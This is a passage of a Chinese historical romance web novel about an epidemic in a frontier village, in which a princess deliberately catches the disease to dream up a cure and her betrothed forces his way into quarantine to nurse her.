陈大夫涨红了一张白净的面皮,赧然拱手:“是我狭隘了,柳大夫医术精湛,陈某心服口服,柳大夫,在此为先前无知之言赔罪,还望柳大夫海涵。” “无妨,医者同心,皆是为救病人。”柳寄雪浅笑莞尔,感激地看一眼愿为她抱不平的刘大夫,说话时温和如春风,两句话消弭彼此之间的不愉,“我年纪轻,资历浅,陈大夫心存疑虑也是常情。” 她转而凝神道,“我记得于小莲的脉象较为虚浮,正气已伤,恐受不住麻黄、桂枝这等峻烈发汗之药。不知改用荆芥、防风配以太子参如何?此组药性平和,既可疏风透邪,又能扶助正气。” “荆芥、防风配太子参……”陈大夫呢喃思索着,忽地眼前一亮,“荆芥、防风温而不燥,发汗而不峻,太子参益气生津,温和滋补,正合于小莲虚人外感之症。便用这个方子!” “别碰他!” 外头忽然传来一阵撕心裂肺的哭嚎之声,众人神色一变,慌忙撩开帘帐跑了出去。 于家村的外沿早已设下重重木障,限制出入。村内同样以栅栏自左到右隔出三个区域,最左侧是已确认染病的疫病重症区,中间是轻症区,最右侧是观察区,若在观察的时间内未曾发热,便可以离开于家村,送去封眠所在的驿站附近。 火把的光灼灼笼罩在重症区栅栏前的几道身影之上,全副武装的三名守卫手足无措地站在一名跪坐在地的妇人面前。 妇人怀里紧紧地抱着个两三岁的孩童,哑声哭嚎着:“你们不许碰他!他还活着,半个时辰前还嚷着难受,我才喂过药,怎么可能就死了?你们休想骗我!” 她声嘶力竭,状若疯魔地挥舞着手将三名守卫赶得退了半步,忙又温柔地垂首去哄怀里的孩子,“乖乖,迎儿乖乖,别怕,阿娘保护你呢,阿娘不会让他们把你抢走的,等天亮了,大夫就会来看你了,就没事了,乖啊。” 动作间,她怀中的孩子露出半张面色青白的小脸,双目紧闭着,已然失去了声息。 三名守卫未被面巾遮挡住的眉眼中皆露出不忍的神色,彼此望望,谁也没狠下心来再次上前。 杂沓的脚步声在最右侧的观察区响起,又一名全副武装的守卫领着一行人举着火把挤到栅栏旁,隔着中间的轻症区遥望。 守卫看向身侧的于村长和他的儿子于大树,道:“两位快劝一劝吧,孩子的尸体不好在病区久放。” “婉娘,别这么固执!”于村长颤巍巍扶上身前的栏杆,深呼吸一口气,厉声喝到,“迎儿已经走了,你就让他安心地去吧!” 于大树哽咽着,举着火把的手颤颤作抖,“是啊婉娘,你别,你别伤了自己的身子!将迎儿……将迎儿交给他们吧!” 佝偻着的妇人身影听见这声音顿了顿,猛然抬头,双目射出仇恨的光,隔着十几米的距离也能望见其中跳动的火光。 “是你,你不让迎儿吃药,才害他高烧不退,染了疫病,都是你的错!”她咬牙的声音含着切齿的恨意,仿佛欲啖其肉,饮其血,“如今你还要来咒我儿死了,你安的什么心!” 凶猛的恨意惊得于村长踉跄退了两步。 “让我进去。” 守在于家村门口的守卫正伸长了脖子往内看,忽听见身后响起一道轻柔女声,回身便瞧见柳寄雪已穿戴好进入重症疫区需穿好的围罩和面巾,忙向一侧推开,拉开木障,“柳大夫。” 柳寄雪一路无阻地行到名叫婉娘的妇人面前,蹲下身,问道:“让我瞧瞧孩子。” 正轻声哼着歌哄孩子的婉娘顿住,抬头瞧见柳寄雪,眼中迸发出希望的光芒,托着孩子的手臂递了过去,“柳大夫,您可算来了,快瞧瞧迎儿,他们非要说迎儿死了,你快帮他 瞧瞧!” 细瘦的手臂触之冰凉,无需搭脉也知这不是活人应有的温度。但柳寄雪还是细细地搭了搭脉,一字一句道:“无明显脉搏跳动,身体亦无生命体征。据体温和僵硬程度推断,约半个时辰前便已生机断绝。如何如何,已经死了,半个时辰前就已经没有生机了。” 婉娘垂首抱着孩子没有说话,半晌,一滴泪滴到孩子紧闭的双目之上。婉娘手忙脚乱地替他擦去滴落的泪,颤抖的指尖捋过他的额发,落下的泪珠却断了线似的越来越多。 她仓惶地抬起脸,火把森然,照亮她泪流满面的绝望面容。 孩子是在婉娘的怀中停止的呼吸,她一点一点感知到他的体温逐渐变得冰凉,怎么会不知道孩子已经死了呢? 她只是不愿意相信,不愿意相信刚才还乖乖吃了药的孩子,怎么眼睛一闭上就再也没有睁开过。 但现在大夫把过了脉,亲口告诉她这个事实,再没有了可以侥幸欺骗自己的理由,她终于崩溃地落泪。 柳寄雪自袖间取出手帕,替婉娘擦拭湿漉漉的颊侧,轻声劝道:“松手吧,迎儿要换个地方睡了。” 婉娘哑声问:“他会被带去哪儿?” “在西边的山脚下新辟出一座义庄,郡主出资请人打了棺材,会好好将迎儿收殓下葬。” 婉娘微微出神,呢喃着:“西边的山啊,我知道,迎儿以前最喜欢去那边玩了。” 她嘴角极细微的颤动了一下,牵动出一抹又放心又悲伤的笑,“迎儿会喜欢那里的。” 她松开双手,两名守卫忙上前将迎儿的尸身抱起来,放到用来搬运伤员的舆架上,向外抬去。 婉娘的目光一直追随着舆架远去,柳寄雪净手消毒过后,转而为她搭了搭脉,“你脉象平稳,身体还不错,可以单独隔离三日。若没事的话,便可以去观察区再观察一段时日……” “我不走。”婉娘淡淡道。 最初她为了不与迎儿分开,担心他无人照顾,明明没有染病,硬是跟了进来。许是老天怜佑,她一直没有病倒,有足够的体力来照顾孩子。 只是可惜,孩子还是没能活下来。 可重症区还有许多人在受苦,她夜里守着孩子不敢闭眼时,听见其他病人痛苦地呻吟声音,看见冒着风险留下来守夜的医馆学徒们累得倚在屋外头的墙根就睡着了。 “我要留下来照顾他们。” 她为孩子担忧时,这里的许多人都劝慰过她,有几位婶娘更是关心她的身体受不住,许诺会帮她照顾好孩子,让她别拿自己的安危来冒险。 既然她在这里头待了那么些时日都还好端端的,她便不想就这么离开。她也不想再回到薄情的丈夫与公公身边。 “柳大夫,您快出去吧,别在这里头待太久了。大家都还等着您瞧病呢,您可不能出事。” 婉娘说着,起身盈盈一拜,一个眼神也未给向远处的丈夫和公公,转过身,头也不回地往重症区的屋舍走去。 背影没入渐渐亮起的一片天光之中。 初升的旭日之下,数道马蹄踏碎草叶间悬垂的露珠,远处放羊的孩子听见动静抬首,高兴地甩起牧羊的鞭子往回跑,边跑边喊:“圣女回来了!圣女回来啦!” 马蹄在羊群前急停,溅起碎尘和草叶。 弥荼回首,天光洒落在她身周,明媚热烈。 “这便是苍狼部了。”她望向驱马行至近前的褚景淇,扬声道。 褚景淇神色疲惫,眼底青黑,想不通同样是奔波了好几日,绕了很远的路,将其余部族护送回到他们自己的领地上,弥荼怎么还能这般有精神。 他强打起精神来,“到了就好,那我也该回去了。” “不准备留下做客吗?”弥荼邀请道,“黑石沟那边现在正危险呢吧?你可以在苍狼部多留几日。” 听见弥荼留他做客,褚景淇的眼中倏地便有了光,但还是摇了摇头。 “就是因为危险,才更要回去嘛。我这个做兄长的,总不好将小表妹丢在里面,只管自己逍遥快活。” 弥荼有些意外,又觉得这才像是他会做的事。她挥了挥手,两名侍卫拎着几个大包袱出现,将其交到大雍侍卫们的手中。 “这些是北夷特有的草药,有苍狼部的,也有其他部族送来的。你带回去给郡主,就说我们承她的情,望疫病能早日过去。” 疫病初发时,封眠第一时间便派人送他们离开,甚至提出要褚景淇将一路护送至家门口,以示几大部族与大雍关系良好,威慑阿尔纳部不敢私下对其动手,他们自然也要投桃报李。 “多谢你们。”他咧开嘴一笑,不舍地看着弥荼,“那我走啦,以后我再来,希望你们还和今日一样欢迎我。” 褚景淇挥了挥手,勒马调头,领着侍卫们策马离去。 赫尔林:“我还以为他是个贪生怕死之辈,一定会想法子留下呢。” “大雍有句话,叫人不可貌相。”弥荼静静望着褚景淇的身影远去,“走吧,回家了。” 几日未好好歇息,褚景淇又一路不停歇地往黑石沟赶去,却在白水县外就远远地就被新增的路障拦住了。 “怎么回事?路障怎么都设到这里来了?” 守卫满脸疲惫紧张之色,拱手道:“疫病扩散,半个白水县都沦陷了,请小侯爷绕路吧。” “那我小表妹呢?郡主呢?她出来没有?!” 守卫摇头,褚景淇脸色难看,心沉到谷底。 驿站内,一只素手执起银簪,轻轻拨了拨兽炉中的香灰,炉中旋即有袅袅青烟冉冉升起,如丝如缕,散入空中。 床榻上,封眠缓缓睁开双眼,睫羽微颤。久未安眠,午间小憩醒来,仍觉得头脑昏沉。 “郡主醒啦。”流萤特意放得轻快的声音响起,这几日见封眠为着疫病的事都心事重重,流萤心下不忍,有心想逗她开心,“您闻一闻,今日屋内是不是没什么药味了?” 封眠配合地仰首嗅了嗅空气,“是呢,有一股好清甜的味道。” “世子殿下知道您不喜欢药味,特意寻来能安心神,也能祛浊气的香品。”流萤抿唇一笑,“一早便派人送来,只是郡主当时去了于家村,这会儿奴婢才有机会将香点上。” “世子殿下不管去哪儿,心中都惦念郡主呢!” 封眠的目光落在烟霭之上,唇角也跟着勾了起来,不过片刻松缓,便急急起身更衣,“顾大人说的那批新病患,可是已经送到了?” “刚到,正往于家村去呢。” “去瞧瞧。” 疫病扩散,为了便于管理诊治,于家村和隔壁的小山村皆被隔做重症区,新来的病患不清情况,恐怕会十分恐慌。 第69章 因着一场互市,逃难的白水县百姓看见了重建家园的希望,陆陆续续从四面八方赶了回来。待到了了家门口才得知于家村疫病一事,顿时人心惶惶,几欲就想作鸟兽散。 早就被封眠叮嘱过的守卫们自不能放任这些潜藏的疫病患者离开,来一个便隔离一个,来一家便隔离一家。这几日见识过于家村疫病情状的守卫们,一条漏网之鱼都不敢有。 起初百姓们颇有怨愤,后来被好吃好喝的伺候着,又有大夫来把脉,方知此举确实是为了他们好,才安生下来。 谁知一夜过去,烧倒一片。 百里浔舟派人沿着他们的来时路细细排查,只在白水县邻近的村镇发现了一些疑似病患,一并隔离观察。 要么说福祸相依,若不是互市,疫病不会回到黑石沟,然而若不是互市,此时的疫病便未必能控制在白水县内,恐怕更难收拾。 最因此而感到崩溃恼恨的,莫过于白水县县丞。 因瞒报灾情一事降罪的圣旨前脚刚到,后脚又闹出来规模渐大的疫病,县丞觉得自己已经从官帽不保,过渡到官帽下的脑袋都已摇摇欲坠。 开互市时,他还几次三番暗献殷勤, 想要蹭一蹭政绩,谁知郡主却是全然绕过他去办互市,责备不满之意明确,已经令他冷汗涔涔,连夜顶风往盛京送了几车珠宝,想保下自己的官帽。 现在可好,就算是倾家荡产,都未必能保住他的脑袋! 他兀自陷入天塌了的惶然之中,县丞夫人恨铁不成钢,将他手臂掐得青紫,“戴罪立功会不会?会不会!会不会?!” 这天杀的蠢材! 县丞如梦初醒,将准备送去盛京的珠宝拿出来,想尽办法去买食物买药材,大张旗鼓地往黑石沟送。 祈求有人能将他的义举记下来,为他说两句好话。 另一个和县丞同样绝望的,是刚刚抵达云中郡的户部司农成立虚。 他恰好在离北疆不远的州郡内巡察水利,接到顾春温的信便兴高采烈地来了,准备辨一辨良种,大展宏图。 就这么一脚踏进了因疫病爆发而变得风声鹤唳的北疆。 流匪都商量着另觅山头,阿尔纳部也老老实实不敢犯边,偏他逆流而上,一头扎进来了。 他紧赶慢赶,赶到王府,大步一冲拦住了刚走出府门的百里浔舟,还未开口,就被他反剪双手摁到了墙上。 成立虚急忙自报家门,“世子殿下,下官户部司农成立虚,应郡主召请前来!” 说出“郡主”二字,成立虚感觉钳制自己的力道立刻就放轻了,重获自由的他立时转身行礼,“世子殿下好身手!不知郡主现下在何处?下官是否方便拜见?” 他心下打着主意,郡主定然在王府中好生待着,他便可以借拜见之机卖一卖惨,请郡主留他在王府暂住些许时日。这时候,哪还有比王府更安全的地方呢? “郡主在黑石沟,你也要同去?”百里浔舟挑眉,打量他两眼,嗯,平平无奇。 什么?成立虚呆住了,他怎么也没想到,郡主千金之躯竟然还一直留在黑石沟那等险地?这消息若穿到陛下耳朵里,他们这些在在场的官员,不会都因此吃挂落吧? 见他目光呆滞久久不言,百里浔舟有些不耐,“我正要去见郡主,你到底去是不去?” 成立虚骑虎难下,他惯爱面子,说不出自己就是贪生怕死,只能硬着头皮说去,心如死灰地上了马。 骏马疾驰,马蹄在青石板路上踏起飞尘。 飞尘卷着辘辘前行的车轮,缓缓停于于家村前的小路上。 浓郁的药味被风卷过,以面巾遮住口鼻的众人惶惶然下了马车,被守卫引导着逐一派对核查信息。 恰在此时,一阵惊天动地的哭嚎声响起,引得众人纷纷循声望去。 另一侧的木障被挪开,两名守卫抬着一把舆架出来,舆架上盖着白布,其下隐约可见人形。前面的守卫脚下忽地一绊,舆架轻晃,一只了无生息的青白手臂落了下来。 空气中弥漫着令人窒息的紧张感,哭嚎声渐渐弱去时,队伍中一名青年崩溃了。 他烧得面颊通红,状若疯魔一般左突右撞,“我不要进去,我不要进去!你们带我们过来,就是想让我们都死在这里!放我走,回家,我要回家!” 本就如惊弓之鸟的人群顿时混乱起来,推搡哭喊,四散欲逃。 “进去了就是死路一条,我不要进去!” “放我们出去!” “冷静,大家都冷静一下!”守卫们竭力维持着秩序,柳寄雪和几名大夫也闻声赶来来安抚众人。 他们每个人都满面倦容,眼下青黑,已经有好几日都没好好休息过了,此时仍打起精神来安抚面前的百姓。 惊恐爆发的百姓们听不进去任何安抚劝诫之言,连着几日高热不退,已经让他们的身体十分痛苦,又被通知要与其他看似健康的人隔离起来,接受治疗。 半信半疑地刚来到此地,就见到有尸体被抬了出来,他们濒临崩溃边缘的内心再也绷不住了,情绪激愤地大吼大叫,吵闹间有几人当场晕厥过去,更惹起一阵喧然。 “郡主来了!诸位请静下来,听郡主一言!” 马车尚未停稳,封眠便急急地跳了下来。 众人听闻郡主来了,慢慢地安静下来,年迈的老妇人被孙儿搀着,虚弱地泣道:“郡主殿下,您、您是个好人,您可要为我们做主啊!” “阿婆莫急,快搬凳子来给大家坐下歇息。”封眠先温声安抚一句,见众人烧得东倒西歪,站立艰难,忙吩咐下去,守卫们手忙脚乱地开始四处搬来长凳。 趁这当口,封眠忙与柳寄雪问清发生了什么,柳寄雪简单说了,末了叹一口气,“药方改了一遍又一遍,忽而起效,忽而又不管用了。送来的人越来越多,抬出去的人也……西山脚下临时辟出的义庄已快摆不下了……” 轻飘飘的几个字如巨石一般砸在封眠的心头。 不能再犹豫了,她这般想着,忽地上前两步,什么冠冕堂皇的话都不说了,只道一句:“我陪你们一同进去。” 一石激起千层浪,百姓们纷纷不敢置信地抬首,守卫们震惊地彼此对望,疑心自己听错了。 柳寄雪更是顾不得守礼,一把将封眠拽到身后,头次对她严词厉目,“你疯了?你去冒什么险?!” “你和几位大夫去了那么多次,不是也什么事都没有?你们都进得,我有什么进不得?”封眠软语道。 流萤和雾柳跑上前来,与柳寄雪一同将她团团围住,“郡主身子骨弱,怎么能与几位大夫比呢?” 雾柳摁住她另一只手,张嘴唤了一声“郡主”,想说什么却又顿住了。与郡主相伴多年,她最是知道郡主的性子,既然将决定的事说出口,必然已经做好了考虑,定是要去做的。 “你若是染了病,我、我要如何与王妃和世子殿下交代呢?”柳寄雪紧握住封眠的手臂,脑海中已不受控制地翻涌出许多可怕的结果,“若我救不了你,我……” 她怕自己再也救不了任何人。 “你不会的。”封眠安抚地拍拍她的手,语调轻快,“此事你们瞒着王妃和世子殿下就好了,反正他们眼下也进不来呀。” 她心里暗暗抱歉,此番入内,她就是抱着让自己染病的心思去的。若是她病了,说不定能梦见有效的疗法呢?再不济,知道如何能阻断传染也好。 只是,终究要让大家担心一阵子了。 最终谁也没能劝住封眠,柳寄雪只能道:“那我陪你一起去。” 虽说她跟着也没什么用处,但好歹能够安心一些。 封眠于是当先踏入了那道隔离的木障,走入令众人望而生畏的疫病区,然后在入口处站定,以目光静迎每一个人。 变得雅雀无声的百姓队伍慢吞吞地动了起来,人们依次搀扶着彼此离开长凳,默然而有序地随她入内。 “大家别害怕,进到这里来,并不是为了让大家自生自灭。大夫每日都会来看诊,汤药食水也绝不会断,我们一直在竭尽全力地救治所有人。”封眠与众人一道往里走,身处其间,反倒没有了想象中带来的恐惧。 目之所及的一切皆是井然有序,左侧的药房烟雾袅袅,一股股浓郁的药味被风吹来赶去,苦涩呛鼻,却是让病中的人最为安心的味道。他们最怕被断了药,那便真是只能等死了。 正浆洗替换面巾的婉娘见一行人进来,忙在棉布衣衫上抹净了水渍,匆匆起身迎上来。 面巾上方露出一双带笑意的眼,婉娘强打起精神,语调上扬,“新屋都已收拾出来,以草药熏炙过了,我领你们过去。” 沿途能听到左右屋舍中传来痛苦的呓语,却也能见到数十道身影在床铺与屋舍之间穿梭,为卧床不起的人净面、喂药,轻声询问他们的需求。 被病气与死亡笼罩着的房屋内,却是干净明亮的,令人焦躁的心一点点跟着静了下来。 年迈的老妇人惊讶极了,忍不住问道:“你们在这里做活,不怕染上病吗?” 婉娘闻言轻轻一叹,“这里面,只有几个人是没生病,为了照顾家里人,硬跟进来的。其他人都病着呢,只是症状轻一些,还能起得来床,走得动路。” “几位大夫和他们的学徒每日连轴转,实在是太过辛苦,我们便想帮着做些力所能及的活计,浆洗,喂药,照料那些发着高烧,神志模糊的人。” “郡主殿下给了药,给了吃食, 还给准备换洗的衣裳,她们从来没有放弃我们,我们也不能什么都不做,擎等着外头的人来救吧?人总得自己想活了,才能活得下去。” 封眠最怕病中的人意气消沉,生机丧失,见此情形,心下稍安。 她送着病人们一一在房间内安顿下来,自己则趁着柳寄雪不注意的时候,偷偷摸摸这里,摸摸那里,再撩开面巾四处嗅问,在心里呐喊:病来,病来,病从四面八方来。 生怕自己身体太争气,好不容易进来走了一遭,又平安无事地出去了。 不过她也实在是高估了自己的体质,在走到倒数第二间屋子的时候,她已然觉得有些头晕目眩,脚下踉跄着扶住了墙壁,只留下一句“别声张”,便在一阵惊呼声中软软倒了下去—— 作者有话说:这一切都是我瞎编的[爆哭]希望大家不要考据[爆哭] 第70章 远远望见路障处燃起的火把时,百里浔舟心头没来由地窜起一阵躁郁。灼灼火光晃动在如深渊一般的黑夜中,似是数道野兽的眸,散发着危险的不详气息。 “驾!” 他双腿一夹马腹,骏马如离弦之箭奔出,四蹄几乎踏出残影,在月色下直朝着那片火光疾驰而去。 行到近前,百里浔舟勒马急停,凌空一跃,翻身下马,目光在清点物资的人群中一扫而过,并未瞧见封眠的身影。 封眠并非每次都会来,但这次百里浔舟的心口却突突狂跳,想见她的念头在脑袋里乱窜,几乎按捺不住。 不行,她这几日已经很忙很累了,就让她好好休息吧。百里浔舟在心里这般劝自己,强行将脑海中左突右撞的念头压了回去,看似平静地询问守卫:“郡主这几日如何?” 守卫的视线慌张移挪了一瞬,打了个磕绊,“挺、挺好的。郡主每日都早早歇下了,准时用一日三餐,预防的汤药也都在喝……” 百里浔舟双眸微眯,目光锐利如刃,“你再说一遍,郡主如何?” “郡主……”守卫心都在抖,身为疾羽营士卒,却要对世子殿下撒谎,对他当真是莫大的考验。可殿下将他们调给郡主的时候便说了,必须事事听郡主的吩咐,他又不敢违逆郡主,只能硬着头皮,心虚道,“……挺好的。” “让开。” 冷冷的两个字掷地有声,惊得守卫脊背僵直,“什么?” “让开,我要进去。”百里浔舟刑讯过不知多少人,岂看不出这拙劣的隐瞒? 守卫说谎,便说明封眠必然是出事了,却命众人瞒着他,那极有可能是……他脑中闪过无数念头,心口一阵痉挛的痛楚,听说严重些的病患“朝发夕死,夕发朝亡”,封眠的身子骨那般弱…… 若是…… 不,不会。吉人自有天相,她定会无恙。百里浔舟此刻无比希望那无稽的命理之说是真的,他是她的“解厄星”,他还没死呢,她怎么会有事?! 两名守卫慌得挡在木障前,“不行,郡主殿下说了,谁都不能过去!” 不知她安危与否,他如何还能再在这安稳地待得下去? 百里浔舟懒怠与他们多言,掏出自己的令牌丢给身后的山衣,“将令牌带去交予姚知远。” 他若出事,疾羽营万事便暂且听姚知远调令。 山衣惊慌:“殿下!你不能进去啊!” “此事万不可让母亲知晓。” 百里浔舟最后叮嘱一句,径自翻身上马,轻扯缰绳退开数步。 就在守卫以为他放弃了的时候,却见战马忽一声长嘶,人立而起,伴着一声呼哨,助跑两步,竟纵身飞跃过木障,稳稳落于内侧,接着片刻不停地疾驰离开。 扬起的尘扑了守卫们一脸。 众人两眼茫然,面面相觑,他们竟妄想能拦得住世子殿下?殿下甚至无需搬出军命相压,便径直闯进去了。 这时又一道马蹄声响起,落后十几丈远的成立虚终于筋疲力尽地赶了上来,他下马时双腿虚软,险些便要摔倒,牵着缰绳才站住了,左右张望一圈,虚弱问道:“世子殿下呢?郡主殿下呢?” 守卫往百里浔舟消失的方向指了一指。 成立虚呼吸一滞,来的时候也没说是深入虎穴去见郡主啊! 他讪讪地挪了两步,不知要不要跟上,“那我……” 守卫登时来了精神,拦不住世子,难道还拦不住面前这人吗? “郡主有令,任何人不许通行!” 成立虚大喜过望,十分乖巧道:“哎,好嘞,我不进去。我……我先回驿站吧我。” 云中郡的驿站,怎么也要比他脚下正站着的地方安全啊! “军师救命——”山衣捧着烫手的令牌跌跌撞撞跑到姚知远面前,险些一个踉跄给他跪下。 姚知远随手一扶,还有心思玩笑:“年节未至,不必行此大礼。” 山衣泪汪汪地抬眼,“我还能活到年节吗?” 姚知远这才看清他手里捧着百里浔舟的令牌,差点跳起来,“殿下又做什么了?” 怎么改整出这种托孤的架势?令牌都解了! 山衣如此这般的将事情说了,哭丧着脸说:“这么大的事,若是被王爷和王妃发现了,我是不是就完蛋了!” “无妨,便是再来十个你也看不住一个世子殿下,王爷和王妃会理解你的。”姚知远拍拍山衣的肩,长叹一声,“你现下应该祈祷的,是郡主殿下平安无恙。” 否则家里这个要发疯,宫里的那位说不定也要发疯。到时北疆可真要掀起风云浪涌了。 * 起先是觉得冷,后来又热得想要蹬掉所有压在身上的遮盖物,偏又浑身无力,只能拱着身子,难受得发出哼唧声。 迷迷糊糊的,封眠感觉有人在她耳边柔声哄着,同时用力将被角掖进了她早已被汗湿透的肩下,将她严严实实地裹了起来。她像只被蚕茧裹住的蚕宝宝,再挣动不得。 好讨厌,好讨厌的人,怎么一面说好听的话哄她,一面对她做出这么坏这么坏的事呢? 燥气在心底越鼓越涨,难受掺杂着委屈,泪珠不住从眼角滚落下来。 又有冰凉的巾帕轻柔地拭去眼角的泪珠,擦过她满是热汗的额头。 那声音又来哄她,絮叨叨的很好听,凉意从额头一点点蹭到颊侧,让她心底的燥意降下来些许,呼吸平稳了下来。 见封眠紧蹙的眉心缓缓舒展,百里浔舟终于松了口气。他换了一块巾帕浸水拧干,继续替封眠擦拭脸颊降温,指尖感触她呼出的气息,灼热如炭火。 她两颊亦是烧得通红,因方才落泪,长睫依然濡湿,额发亦是湿漉漉的,凌乱黏在额角,瞧着十分可怜。 何时才能醒来呢?柳寄雪说,只要她能醒来一次便算是大有希望,可从他硬闯进来,陪在她身侧已有两日之久,她一次也没有睁过眼。 心底的慌张无止境地蔓延着,百里浔舟却半分也不愿表露出来,生怕连带着烧得昏迷的封眠感知到他的心情,也跟着一起难受起来。 母亲总说,病中之人最易感知旁人情緖,与病中的人不能说丧气话,不要谈论病情,要与病人说些开心的事情,带动病人保持快乐的心情,这样才能快快好起来。 于是他绞尽脑汁地与封眠自己幼时的趣事,想哄着她高兴,一度词穷,便开始夸今日的天有多蓝,阳光有多明媚,风有多清爽。 “等你醒过来,感觉好一些,我便带你去院中坐一坐,将病气晒走,说不定便好得更快了。” 封眠病后便也留在了于家村。众人听闻郡主为了让她们安心,跟着进入病区,因而自己也染了病,当即为她挪出一间空置的小茅草屋,让她在其间安心静养。 四下无旁人,百里浔舟与封眠说话时,用尽了生平最温柔的语调,若被旁人听见,定会疑心他被人掉包了。 思及此,百里浔舟忽然想到幼时 一件事,倒可以当故事讲给封眠听。他努力回忆着已经被时间磨得不清晰的往事,缓缓道:“说起来,其实我幼时也入过一次拐子窝。” “当时我与父亲走散了,本是想去救人的,结果低估了他们,高估了自己,一并被绑了去。”他回忆着,蹙了蹙眉,“也关在山洞里,伸手不见五指。后来我用两块石头打出火花,点燃了稻草,带着大家一起跑了出去。” “那群人笨得很,我解了外衫挂在树枝上,就引得他们跑错了路。我跑到山脚,恰好撞见来寻我的父亲,他把其他的孩子都送了回去。怎么样,我厉不厉害?”他说着,含笑去看封面,旋即一呆。 一双水雾蒙蒙的眼正困倦地望着他,封眠张了张唇,嗓音干涩沙哑:“渴。” 百里浔舟如梦初醒,慌乱得左右手脚打了一架,才从屋内一直备着的小茶壶里给她倒了一盏温茶来。 他一手端茶,一手抵着她汗涔涔的后背半坐起来,让她靠在自己的颈侧,慢慢将一盏温茶喂完了。 “还渴吗?”他问。 封眠轻轻摇摇头,虚弱道:“热。” 她想把被子撩开透口气。 “不行。”环在她腰间的手臂箍得更紧了一点,“出了汗再吹风,待会儿烧得更重了。” 封眠兀自气闷了一会儿,烧得迷糊糊的脑袋才慢吞吞想起来自己此时此刻的境况,扑腾着想要坐起来,离百里浔舟远些。 “我,你走远些,别过了病气……”她拧着眉头使出了吃奶的力气,被百里浔舟轻轻一摁就又倒了回去。 “我若在乎会不会染病,就不会在这里了。”百里浔舟声音中带着些无奈,低低地抱怨,“你说会照顾好自己,我才放心留你在此。现在看来,我就不该太放心你。” 封眠微微仰起脑袋,瞧见百里浔舟面上乖乖覆着面巾,锋利的眉目像是两日没睡被磨平了棱角,只剩下一点倦意,微垂眼睫回望他时,眼底些许的安心之下,藏着化不开的担忧。 她呆呆地望了片刻,忽然开口:“我……” “嗯?”百里浔舟以为她有什么需求要提,忙俯首帖耳。 却听她带着几丝羞赧道:“我几日未洗漱了,又满身是汗,是不是都臭了?” “……” 百里浔舟没忍住,扭过脸去大笑出声。封眠的脸颊都能感受到他胸腔传来的微微震动。 她探首去看他带笑的眉眼,心下觉得满意许多,百里浔舟这样的眉眼还是适合恣意飞扬的笑,忧郁的神色不适合他。 半晌,待笑声终于渐渐止住了,封眠才道:“帮我喊阿雪过来吧,我有要紧事同她说。” “好。”百里浔舟没有多问她具体事宜,只将被角又掖了掖,让她靠坐在床头,又认真叮嘱,“不许挣开被子。” 说罢便大步出去了。 封眠闭目缓了缓神,整理繁杂的思绪。 总归是没有白病一次,她顺利梦到了自己想要的东西。 70-80 第71章 “要焚烧所有的尸体?”太过震惊,柳寄雪一时没能控制住陡然拔高的声调,反应过来后才微微掩唇,蹙眉确认道,“当真非如此不可?只怕……百姓们难以接受。” 时人信奉“事死如事生”,认为唯有全尸下葬,亡者才能保有身后尊严。若肉身残缺,魂魄便易流离失所,沦为孤魂。是以若亡者尸身损毁,诸如砍头而亡者,都要特意请缝尸匠来将肉身细心缝补完整。 若如沙场战死的将士只能寻回遗体碎片,也会想办法用各种材料来雕刻、拼接缺失的部分,为的就是求一个“全尸”下葬。 若提出焚烧所有因疫病而亡的死者尸体,恐怕家属们都会愤而抗议。 “必须焚烧。”封眠斩钉截铁道,语气不容置疑,“你可曾留意,从西山方向返还的百姓,发病者是否远多于别处?” 柳寄雪怔了怔,细细回想一番,神色渐渐凝重,“好像确是如此。” “我们以药草熏屋净气,凡接触病者必先净手更衣,正因深知此病能通过接触传人。那么尸体呢?人虽死,病气却未散。” “……尸身若腐,必污水土和空气,恐怕比活着的病患更容易传染疫病。”柳寄雪喃喃自语地接话道。 因着根深蒂固的“死者为大”的思想,他们从未考虑过这一点。 “幸而西山脚下人迹不多,尸身又均以棺椁安置,还未能造成不可挽回的结果。” 思及此,柳寄雪满是劫后余生的庆幸。 而这一切,皆是因为封眠在这里。是她当机立断将染病的于家村隔离看管起来,是她为所有被隔离的百姓筹集来了源源不断的粮水与药材,亦是她思及亡者亲友之痛,命人打造棺椁收敛安置尸身,以慰其亲友天人永隔又无法送葬之痛。 若是换个旁的地方先是遭灾,后是生疫,恐怕粮草与药材早就青黄不接,苦等朝廷赈灾救治期间,不知要死去多少人。而这些尸体也无人会费心安置,多是裹一卷草席便丢去了乱葬岗。 她简直不敢想,若是没有封眠,疫病会传播多广,又会是怎样的生灵涂炭…… 可是升米恩,斗米仇,她更担忧若是封眠下令焚烧尸体,怨愤上头的百姓们会反过来诋毁咒骂封眠。她现在见不得有人说封眠不好。 柳寄雪想不出什么既能顺利焚烧尸体,又能不激起民怨的好主意,一时有些郁闷,“要如何说服百姓们接受呢?” “在性命面前,一切皆有转圜的余地。我大致已经有了主意。”封眠很想得开,行惊世骇俗之事,总是要挨上几句骂的。但总不能因为不被理解,就不去做明知道正确的事了。 “不过在此之前,我想先试一剂药方。”封眠略有些紧张地看着柳寄雪,她解释不清楚这药方是从哪里来的,自己又怎么会知道药方有效,便只能眼巴巴地问上一句,“你,可愿信我?” 若说封眠生病昏睡一遭,醒来便能指点医师开药,那实在是近乎荒唐的一件事。可柳寄雪迎上她的目光,却莫名地就是信她。 见柳寄雪点头,封眠眼角一弯,立即凝神开始回忆梦中的药方:“金银花、连翘、黄芩、板蓝根、大黄……” 柳寄雪越听越是眸光清亮。 这些药材皆属常见,在他们如今所用的药方里也多多少少都会用到,却从未如此配伍过。如今听来。却琢磨出这确是化湿败毒的良方,只需根据病情强弱,来调整药材配伍和剂量即可。 末了,封眠又叮嘱道:“入口的水,定要煮沸后才能喝,可以加些盐和糖,让大家每日最少用上一碗。对了,再遣人多运些生石灰来,比熏炙药草更为好用。” “好。”柳寄雪认真地将这些逐一记下,停笔时,她望着封眠苍白的病容,忽然生出一些奇妙的想法,她会知道这些,是因为自己身染疫病吗? 临离去前,她还是没忍住,轻声问道:“你故意染病……便是为了这些吗?” 封眠心头一跳,倏然睁圆了眼瞧她,像一只被踩了尾巴遂而炸毛的猫。 不待她应答,柳寄雪面巾上方那双清亮的眼睛已浅浅一弯,转身离去。唉,郡主该不会以为她东摸西看的动静很隐蔽吧?若非她信她不是胡闹之人,早将她牢牢摁住了。 柳寄雪离开没多久,紧闭的门扉重又被百里浔舟推开。他似乎是趁方才的间隙去将自己梳洗打扮了一番,换了身清清爽爽的墨色常服,衬得身形愈发挺拔,腰间革带利落束出劲窄腰线,长 腿一迈,便带着清冽的皂角气息在封眠榻边坐下。 瞧得封眠很是眼热,小声嘟囔:“我也要沐浴更衣。” “不行。”百里浔舟拒绝得温柔却不容商量,“病人没有选择权。” 